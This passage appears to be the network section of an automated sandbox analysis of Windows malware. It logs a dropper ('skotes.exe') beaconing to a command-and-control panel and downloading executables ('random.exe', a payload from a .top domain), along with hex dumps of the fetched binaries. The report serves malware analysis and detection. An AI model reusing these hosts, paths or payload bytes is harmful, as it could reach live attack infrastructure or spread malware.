Nov 23, 2024 09:18:10.787358046 CET	1236	IN	Data Raw: cd f8 99 e2 cb 88 57 1a 2c 33 95 1e b8 03 2b 08 b9 a6 9e 99 35 66 36 ae 88 18 ec b6 f5 49 1e 48 83 0a 6e 4d fe 89 2a c3 26 fe 8f 96 af 03 95 81 bc 7d ea 72 a7 ff 9e 64 e2 00 22 59 4d ab 28 1f 82 96 89 56 c9 97 ed b4 a8 29 ca 98 73 45 53 b3 4a 38 Data Ascii: W,3+5f6IHnM*&}rd"YM(V)sESJ8Qc}8J%CxgYv~uCO$mH$I.`NR,e[o7e2PHj?%XiT~9_cSj$Q[a4bX7!m
Nov 23, 2024 09:18:10.787393093 CET	1236	IN	Data Raw: c1 8b bd 78 6b bf 22 2a ca ca 2a 2a 3f 8e 8c b7 cc f2 6d 18 09 02 b4 2a e2 b3 b6 95 c6 57 4a fe d9 ac bf b0 28 ee a1 99 14 94 ed 9d 41 04 58 20 01 0a 34 08 aa c2 de db 84 3b d0 ca a0 e4 a8 a1 0a 7f 8a 1b 67 1f b5 80 a5 04 75 15 4b 5d 8e eb 47 bc Data Ascii: xk"**?mWJ(AX 4;guK]G<`>>W`cN=^,pE E861vKpO!8<\|`qU;{L~'uADgrL^K>'e@dFq^
Nov 23, 2024 09:18:10.787429094 CET	1236	IN	Data Raw: 85 8e 58 7b 3a 08 25 63 c9 7d a9 42 bd 66 fe d5 c7 16 28 a2 e4 29 07 a5 ae 37 9c a4 f6 53 42 f3 fe c4 36 a3 88 73 ad 6d 70 07 08 ca dc 52 37 f0 80 02 29 15 3a f3 e3 bc ec d4 02 63 79 20 03 84 d2 f0 0d 96 8d 87 f5 07 dc 67 bb dd 27 95 64 bd c6 d3 Data Ascii: X{:%c}Bf()7SB6smpR7):cy g'dlH!Cse&mxkiFiur`@6z{pTbY7_qDhHN6`a+]`(&p]/>g2FDY%hAp
Nov 23, 2024 09:18:10.906584978 CET	1236	IN	Data Raw: da 41 56 d1 48 d6 d8 0e 75 43 33 5f ff 9a 44 7a db 9d 04 a8 28 7d 96 be 88 a3 4e f0 30 c5 8a 7a b3 22 48 b9 29 7c b6 b3 53 09 73 36 ed 17 4a 31 9c e8 29 bf aa a6 dc 37 b5 23 62 1c 9a c0 f3 6a 31 9f 52 ab ac b7 1f 65 e8 4e d6 b7 b0 7b f7 9e 88 3c Data Ascii: AVHuC3_Dz(}N0z"H)\|Ss6J1)7#bj1ReN{<e{;5O`t!Rk>W&A`pK6FQ`+8 >B.[?8Tgq3I=Fz3'{v2VctaT]VB)BR47?>=`:QQVz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	50133	185.215.113.43	80	8376	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 09:18:20.548846960 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 33 37 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008379001&unit=246122658369
Nov 23, 2024 09:18:21.984627008 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 08:18:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	50135	34.116.198.130	80	7992	C:\Users\user\AppData\Local\Temp\1008379001\2ae4e7be65.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 09:18:21.307235956 CET	87	OUT	GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1 Host: home.fvtekk5pn.top Accept: /
Nov 23, 2024 09:18:22.721132994 CET	1236	IN	HTTP/1.1 200 OK server: nginx/1.22.1 date: Sat, 23 Nov 2024 08:18:22 GMT content-type: application/octet-stream content-length: 10815536 content-disposition: attachment; filename="36EpLiutqfXtaXMkXOTru;" last-modified: Tue, 19 Nov 2024 12:29:07 GMT cache-control: no-cache etag: "1732019347.4431374-10815536-3919321515" Data Raw: 9b 04 9e 1d e2 2a 68 73 fe d9 48 6f 2c 36 36 c8 a4 e4 ba e7 12 f9 22 5d 6f 07 aa d2 fb 8c a2 b3 95 1e b6 6c ff 92 32 40 41 97 30 99 34 26 c9 44 c2 1e 7f 22 13 cd 10 62 a7 32 f3 c2 5c 11 ed c0 71 4a 49 c7 9d 3e 95 07 3e 4a 0a 6f 63 4c 1a b8 b6 1a 3d 67 8e 9d ed 46 4c 04 61 0a c6 3c 7b 3a f6 0d 3f 30 0d 33 18 56 4c f0 76 7a 8b c7 a1 f1 75 64 d6 00 c3 e9 df 3a 1b 4f 35 50 64 a6 db 6b 23 6a aa e6 6c 33 a4 69 a7 80 16 e0 e4 49 7c d0 73 7d bf 61 a2 62 7a 62 8e 5b f4 4d a9 ba 05 ae 7f d8 0c 3c 1e 71 cb 84 47 32 b1 63 64 df 8e 7a 22 8c 8e 33 7d f1 20 f1 74 04 61 fd 18 55 10 be 45 7d f4 63 45 d4 d0 16 17 c4 c8 a6 7d 44 80 d2 ba e9 1a 17 37 63 43 e4 22 3e c5 e4 a4 16 51 4f 2d 57 23 3a 36 33 fa f3 c5 aa 04 00 79 5c 1f 43 8d f1 b2 56 df 86 17 bc df 28 44 b7 aa 85 64 2d 2f 94 0d a5 7c 18 37 92 cb 0d 76 40 2e 05 16 6a ce b1 8c 0a e3 7d 08 00 ce 6a ef d3 51 b9 3b 81 19 3c 3f 6c 3e 37 fe 3f d7 b3 7d 60 7e e2 b1 a4 1f 00 62 27 63 3d fd 4b 06 87 dc 8e 8e fa 56 9b bf 7a dc a3 07 20 e3 0b 1a f5 06 b1 0f 6d 27 af dd 1b [TRUNCATED] Data Ascii: hsHo,66"]ol2@A04&D"b2\qJI>>JocL=gFLa<{:?03VLvzud:O5Pdk#jl3iI\|s}abzb[M<qG2cdz"3} taUE}cE}D7cC">QO-W#:63y\CV(Dd-/\|7v@.j}jQ;<?l>7?}`~b'c=KVz m'3~\K ^m_F<4xrG/dz4?gv5,?^w@X^wZ1~7C+Z&dp`#9XgJC>e93VGh74x?x[3=YT.Qa `MG?_zGkB+(#8RUeY[x-$4`zAc`vmVlP+>tsd@>ydCHSnt+_`"FitXXD.}P #(4K<0b h;]6{bgEqvZ>4o]2?}#\|![L&!z";ZY<PPT9HC}M*65qs#ep%@LlGH)bj'7a: ;B3L0"
Nov 23, 2024 09:18:22.721201897 CET	1236	IN	Data Raw: b8 ff 32 30 58 cd 81 20 5f b7 4d f7 d5 77 53 0a 4f e7 60 83 ed 44 cc d0 f5 71 1e 4e 4f f8 01 9b 7d 28 47 50 fb 75 8d 8e 55 9f 9d c6 2b 06 24 6f 58 e4 80 8f e0 a2 b4 79 5d f7 cf 4a e0 fc b8 91 16 d1 c7 db 64 34 ea ff 9a 7a 67 99 a9 5e e5 15 9c c8 Data Ascii: 20X _MwSO`DqNO}(GPuU+$oXy]Jd4zg^h(>sNk=@nIEbcZ"~Q6]4AGc]>2+<X]2]CRq[Ya{YvF{m2*bg3\|8IBlm&
Nov 23, 2024 09:18:22.721211910 CET	1236	IN	Data Raw: 31 a0 27 b0 31 e8 22 a5 51 78 81 6b ea a9 43 84 11 c4 be 3a 3c 17 d0 63 57 c5 20 31 2f c5 f3 3d bf 67 df 7f 0a 0e 93 9c af 04 65 f3 af a9 d4 4f 98 e4 8e ec 3f 1b 0f e9 f3 b7 01 21 79 8f 56 8d ec 70 82 ac 4b 64 58 ce 90 f4 54 8d 94 fe aa 7b 06 b3 Data Ascii: 1'1"QxkC:<cW 1/=geO?!yVpKdXT{`6u}]dTlC%hU.\|zi<kGB5}mP=PNp?%G~e\|NSF{)OfI"&l6~/YLm#K>
Nov 23, 2024 09:18:22.721303940 CET	1236	IN	Data Raw: 52 23 c5 90 d5 ff 98 77 06 c3 aa 7f 85 27 36 0c 3d 95 5d f4 72 4e 81 4b 66 ae 6d 23 f3 44 c6 b9 51 f6 7b 5b 38 44 ca f3 b2 7c cf 81 a7 28 04 b5 36 b4 fb 4f 20 f4 f8 c4 28 41 7e c3 7e 89 b0 03 17 ce b1 07 49 cd b1 88 29 27 55 18 25 6f 10 b0 06 82 Data Ascii: R#w'6=]rNKfm#DQ{[8D\|(6O (A~~I)'U%o%.8]<4428@9]VGi&3'/SvepiD`)fhOOu;{ad=E/Z7h(}ZD0EZE_EP=5>J5B
Nov 23, 2024 09:18:22.721314907 CET	736	IN	Data Raw: b4 45 24 ec 90 ce f6 4a 8d 7e de e4 f7 04 5c 67 ac 49 96 a0 e7 1e 40 e5 6a ed c8 51 ae 18 59 a3 63 5e 96 33 7e 7e d0 7f cd 58 b9 bc 51 ce 04 fd 4c a7 a2 7d 5c 30 c0 d4 4a 5f 97 df c2 80 8a 66 fd 5e 54 12 cd e9 3c 3d e5 9b 7f 7c 7e 3b 28 bf 33 eb Data Ascii: E$J~\gI@jQYc^3~~XQL}\0J_f^T<=\|~;(3w;b+NcHfD-O~sHC_a6&}}4cP9Ap&tTu:#?b)}St[I)~^TTPYT0cQY0>~a0(V
Nov 23, 2024 09:18:22.723361015 CET	1236	IN	Data Raw: b7 6f 78 2f 72 9a f8 71 ee 3e 4d ec cd e0 d6 39 1b 0b f8 cc 7b 0a 55 40 86 a4 38 5e 83 b5 fc e0 93 ab 8f 79 ff 2c ea 7f fb f5 e0 1c 04 c9 78 b4 a0 79 3e 8c 6f 69 95 1c c9 72 b5 b0 e6 fb 54 c9 c0 3c 1a e1 a6 31 d1 0f 6c 0f 0f 85 ac e2 b0 b2 c7 c3 Data Ascii: ox/rq>M9{U@8^y,xy>oirT<1lV{\|g9wy(`}Dc}:&4(;'"1kzZpZ97~}<m{)F)O^Rh0r2^5n-h!`/=F:3V $?`S8PV(H0G
Nov 23, 2024 09:18:22.723412037 CET	1236	IN	Data Raw: 57 2c 20 61 54 7a b6 2c 68 3b 66 61 73 1c 1d e2 eb 23 01 c0 46 a0 c6 87 aa 95 40 ad 7b 08 bb 48 0d 79 be 2c f9 13 49 ba 00 72 3e f6 f7 54 25 f7 1d c0 95 14 90 7f 7d 58 7c 28 e3 12 6d ed 4d ed 8f 3a b7 07 70 d4 c0 68 0f c2 e9 27 a1 ad 3b 66 f8 e6 Data Ascii: W, aTz,h;fas#F@{Hy,Ir>T%}X\|(mM:ph';fv6 6N5t]S\|.<aoYRBb7VgfLh08uW_<u[:kh##2%dK5##uJ4Bn_~l(N~vZ\ `@K0az
Nov 23, 2024 09:18:22.723422050 CET	1236	IN	Data Raw: 8a ac 93 f1 40 89 d6 2c 25 56 e7 e7 41 fd cd d9 61 4d 91 fd 4b 75 7c 5d 61 0b a7 ca cb 09 1b 09 34 ff e6 94 6e 26 f6 27 39 04 39 79 da e6 00 ae aa a2 07 e7 bc 49 aa d1 5d cd 91 c5 aa 07 88 63 cf 61 81 8d e5 b0 0d e5 93 1b ca 3b a7 2f 7a af b5 3b Data Ascii: @,%VAaMKu\|]a4n&'99yI]ca;/z;^>@'IM7fJWfvAIm2H}N\MwK`3Lg[/UJ1>{__1iB4F}ZExM94.uxmsD
Nov 23, 2024 09:18:22.723496914 CET	1236	IN	Data Raw: 08 0e d1 7d 8a 52 c9 be 69 d8 e5 9d d1 00 d0 55 c5 87 82 ce d7 d1 ca 69 be fd 71 99 5c 54 66 4b a1 cd b8 e2 c2 02 78 bf e6 ef 7a 01 4c 6a 15 3c 0f 62 bb bf 8b 54 2c bd de f4 05 20 5a ec 24 3a 37 f4 55 5a 34 8e 12 75 e9 4f 2e 0a 95 45 cc 01 f9 66 Data Ascii: }RiUiq\TfKxzLj<bT, Z$:7UZ4uO.Ef&`z#"][mmJ4(t<d:TAGtNn)CD,p^i8V"Y=er>`QQ29_%q2/"MX(`OsTAt\@`x
Nov 23, 2024 09:18:22.723509073 CET	736	IN	Data Raw: e5 79 5d 24 42 ce 7c 56 10 26 41 55 fe de 3b 20 03 b1 c2 47 63 14 61 88 83 5f 30 ee c8 0f b1 bd ce 17 88 b0 c9 58 84 eb 93 99 2e f1 0f 64 62 cc ee 57 41 66 2c 6e 3b 90 2c 15 48 64 e3 81 84 5e ed f5 9c 3e 83 42 a3 05 be 47 02 f2 87 c0 5c 51 8f 8b Data Ascii: y]$B\|V&AU; Gca_0X.dbWAf,n;,Hd^>BG\QI)g\|RIS\|j=b@//}{2Gf\|3U^h3H8l1p]Nq$`T>=[[&7+$?+yk9}3.x;FcQ
Nov 23, 2024 09:18:22.855252981 CET	1236	IN	Data Raw: 5c 26 d9 e1 02 59 d6 5a 88 fc 21 bc 6a 50 3d 20 ca dd bd 3e 4b bb 5a 21 bb b6 e9 ca cf 38 bb 14 28 8c 0d 1f 97 cc 56 3f 18 41 7a 1d 1a 9d 67 4a 85 5b 92 8b 3b 1e bf d8 44 8a 35 69 2b 1e 56 16 fc 59 b3 36 40 c3 4f 78 27 8d f3 52 56 ff 2a 78 b3 c8 Data Ascii: \&YZ!jP= >KZ!8(V?AzgJ[;D5i+VY6@Ox'RVx\|JPdhlAO(&XyHv;q"'7%DvRXVi?_81HVma(u<hVxv2oj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	50138	185.215.113.16	80	8376	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 09:18:22.109448910 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 23, 2024 09:18:23.497155905 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 08:18:23 GMT Content-Type: application/octet-stream Content-Length: 1852416 Last-Modified: Sat, 23 Nov 2024 08:12:48 GMT Connection: keep-alive ETag: "67418e80-1c4400" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 51 3c 3f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 0a 04 00 00 c2 00 00 00 00 00 00 00 f0 48 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 49 00 00 04 00 00 65 4a 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 80 05 00 70 00 00 00 00 70 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELQ<?gH@ IeJ@\pp `b@.rsrcpr@.idata t@ )v@ilmuiwjp0/x@isxtwavbH@.taggant0H""@
Nov 23, 2024 09:18:23.497210979 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 09:18:23.497222900 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 09:18:23.497234106 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 09:18:23.497323036 CET	1236	IN	Data Raw: b7 b6 b8 9b d4 90 b0 1b 1d 98 a5 b8 78 bf 6d 48 74 2e c9 54 39 61 e2 c7 dc db 62 57 34 19 fd c7 05 d0 b4 48 ec 5e d3 55 1f e6 50 dc b8 b7 e1 a0 be 46 a6 a0 fe a6 05 f4 a1 13 6e 1d 1b 7d 9c e5 1f d3 2b 3c 34 16 a5 37 4d 0b 7f f6 46 5d 2e 59 04 4f Data Ascii: xmHt.T9abW4H^UPFn}+<47MF].YO]#SZuZOpP\nY}5k@vkW<e>1K4+oVb-{%ujV4'JBgo>4+$)LMa}Z>u7?Da?[Z<<
Nov 23, 2024 09:18:23.497334003 CET	1236	IN	Data Raw: 88 3d 93 50 dc 83 86 44 74 09 ac 5c cb f3 3e ab f8 7a 86 2e 4e 51 a0 b0 5d 9c 97 60 b6 1e c2 2d ef 9f f2 10 1d 76 d9 48 a6 27 ea af bf 5a d7 d6 db 5e e2 95 82 87 06 b5 6b ff dd 4f 26 39 b5 42 6f 68 41 3d a0 b3 e0 2c 8f 57 bc 8e 15 aa ab 92 4c 47 Data Ascii: =PDt\>z.NQ]`-vH'Z^kO&9BohA=,WLG]p6i3#Zf(,qqzD2LR^YObH_OAxd5?_:e6X)m"&04O#m$Dk\|!ix-eVf&/M_\|+n_}~1&eINGn^r\|
Nov 23, 2024 09:18:23.497344017 CET	776	IN	Data Raw: 19 3d 56 c8 9a 76 c2 63 82 3d a9 61 c7 dc be 5b 96 19 1b 0a 6a ef 1c 28 2c 30 01 ed c1 2a 83 99 d1 9f 2f 24 d9 0d 55 6c 24 e6 ed 5b b6 e2 9c cd a4 02 d1 6b 29 e6 b2 1d 77 9c 9c 6e f3 f6 b7 4e 1c 53 d9 9e f5 e9 70 47 0e 5f 8f 56 4c 8f 6c 00 22 37 Data Ascii: =Vvc=a[j(,0*/$Ul$[k)wnNSpG_VLl"7up{J!0,NbEU4GeoHK429pwG(XvdHt)-^1!9i$9~`aH).@Xc@dv^3mjMoJn\|<Rm-X
Nov 23, 2024 09:18:23.497356892 CET	1236	IN	Data Raw: 54 68 1d 94 4c e4 e5 d4 5a 9c f7 30 54 fb fe 74 2e 7d 79 01 54 93 d5 0a 70 f7 81 00 ff 79 5f 6c 7d 60 20 19 5b cd 94 4b 52 5d 60 00 a6 97 bf 97 29 5e 57 29 14 d7 a1 b2 3f 6f 28 b6 03 e4 5e 99 11 77 73 8e f6 bd 6b 65 55 47 f5 fe 4a 12 af 4c 46 45 Data Ascii: ThLZ0Tt.}yTpy_l}` [KR]`)^W)?o(^wskeUGJLFE~; 6\|_`WnW(d5J-8?k}bu{o`YE<7N{^p"w=+m$':{RwD=Be_I dRA]S1=QlQe
Nov 23, 2024 09:18:23.497368097 CET	1236	IN	Data Raw: 38 87 4c 8d f6 dd 74 9a e0 13 98 33 93 9a 65 65 2c e6 88 23 96 df e2 f4 06 e7 af a0 40 ee 5f 59 e4 1e dc 00 86 0d 6c 4a 37 5d 9a d7 40 6b a2 4c 99 fb a1 4e cd 44 21 1f 8f e7 17 f3 38 9e c0 db c7 8d 0a 35 77 9f 54 18 7f 3e 56 e5 f6 de 4a 3f 41 58 Data Ascii: 8Lt3ee,#@_YlJ7]@kLND!85wT>VJ?AX/YTW8\|6jGt^LmDW\p>$?/3{\|B!`CQ8@&20kS7d;=V*jn%t^lo"}BO6$0$@=@a@5huF
Nov 23, 2024 09:18:23.497380972 CET	1236	IN	Data Raw: 0e 58 b5 0b 86 87 39 b6 21 66 b1 d7 05 fc 27 e5 83 f6 de 2e 20 f1 49 a4 dc d1 51 de f8 c7 21 d1 a0 c7 8b 54 34 d9 30 bc 6e 87 89 72 19 33 62 30 68 a2 91 52 1b 5e 24 2b 1d c1 b0 32 ea 02 3d 80 a5 86 ea c7 1f 9a 66 7c 88 ab 61 2b 65 c8 b4 32 90 fb Data Ascii: X9!f'. IQ!T40nr3b0hR^$+2=f\|a+e2W]M_}D6.\|A$^~\|E+D _//' "O21""4&pao#M8L_+0d~t'S :7qpd4}!PJ_V
Nov 23, 2024 09:18:23.617367029 CET	1236	IN	Data Raw: 4c e2 82 44 4d f7 66 b8 e0 0c 6a f0 29 48 15 3c 2c af 4d c1 ed 2f ca 9e a0 f8 df 4b 57 5b 86 26 4c 59 6e 78 fb 47 15 bc 19 ea 01 5f 80 14 66 2f ed bc 24 3e 48 08 3a 59 65 e6 b8 7e 14 c7 54 36 d4 87 ce b1 20 aa 96 67 28 d8 44 e0 61 98 9b a4 0d 74 Data Ascii: LDMfj)H<,M/KW[&LYnxG_f/$>H:Ye~T6 g(DatV*o}WWUdp\u.ep#x-dcB@HH]<32[}Qk5UzB&3zF-MBnLT]1]&fLe0.ol>{

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49712	20.198.119.143	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:17 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 54 6b 57 42 4a 2f 52 2b 34 6b 69 6d 4f 75 39 69 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 30 65 61 32 38 36 33 33 33 38 33 64 65 34 34 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: TkWBJ/R+4kimOu9i.1Context: a0ea28633383de44
2024-11-23 08:16:17 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-23 08:16:17 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 54 6b 57 42 4a 2f 52 2b 34 6b 69 6d 4f 75 39 69 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 30 65 61 32 38 36 33 33 33 38 33 64 65 34 34 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 51 43 37 72 73 47 75 61 54 45 6f 77 67 4a 76 6a 71 2f 76 31 47 6e 4e 4b 51 33 2b 2f 58 48 69 63 33 5a 55 7a 44 34 6c 65 71 6a 67 39 72 61 79 53 76 46 6d 4f 63 4a 32 43 6c 52 45 31 67 7a 36 39 62 65 6c 39 4d 2f 45 6f 74 33 70 77 76 32 48 61 31 74 64 39 71 48 6a 75 63 6f 42 56 32 49 45 46 50 62 65 38 63 4f 49 6f 4d 2f 4b 4b 34 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: TkWBJ/R+4kimOu9i.2Context: a0ea28633383de44<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAQC7rsGuaTEowgJvjq/v1GnNKQ3+/XHic3ZUzD4leqjg9raySvFmOcJ2ClRE1gz69bel9M/Eot3pwv2Ha1td9qHjucoBV2IEFPbe8cOIoM/KK4
2024-11-23 08:16:17 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 54 6b 57 42 4a 2f 52 2b 34 6b 69 6d 4f 75 39 69 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 30 65 61 32 38 36 33 33 33 38 33 64 65 34 34 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: TkWBJ/R+4kimOu9i.3Context: a0ea28633383de44<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-23 08:16:18 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-23 08:16:18 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 37 6b 32 35 7a 41 32 35 71 30 69 30 51 67 43 50 6a 41 5a 36 36 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 7k25zA25q0i0QgCPjAZ66A.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.6	49713	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:22 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:16:22 UTC	471	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:22 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Thu, 21 Nov 2024 12:25:08 GMT ETag: "0x8DD0A27899CAFB6" x-ms-request-id: 0e3600b6-201e-0096-7125-3cace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081622Z-178bfbc474bpnd5vhC1NYC4vr4000000042g00000000f43a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:16:22 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" 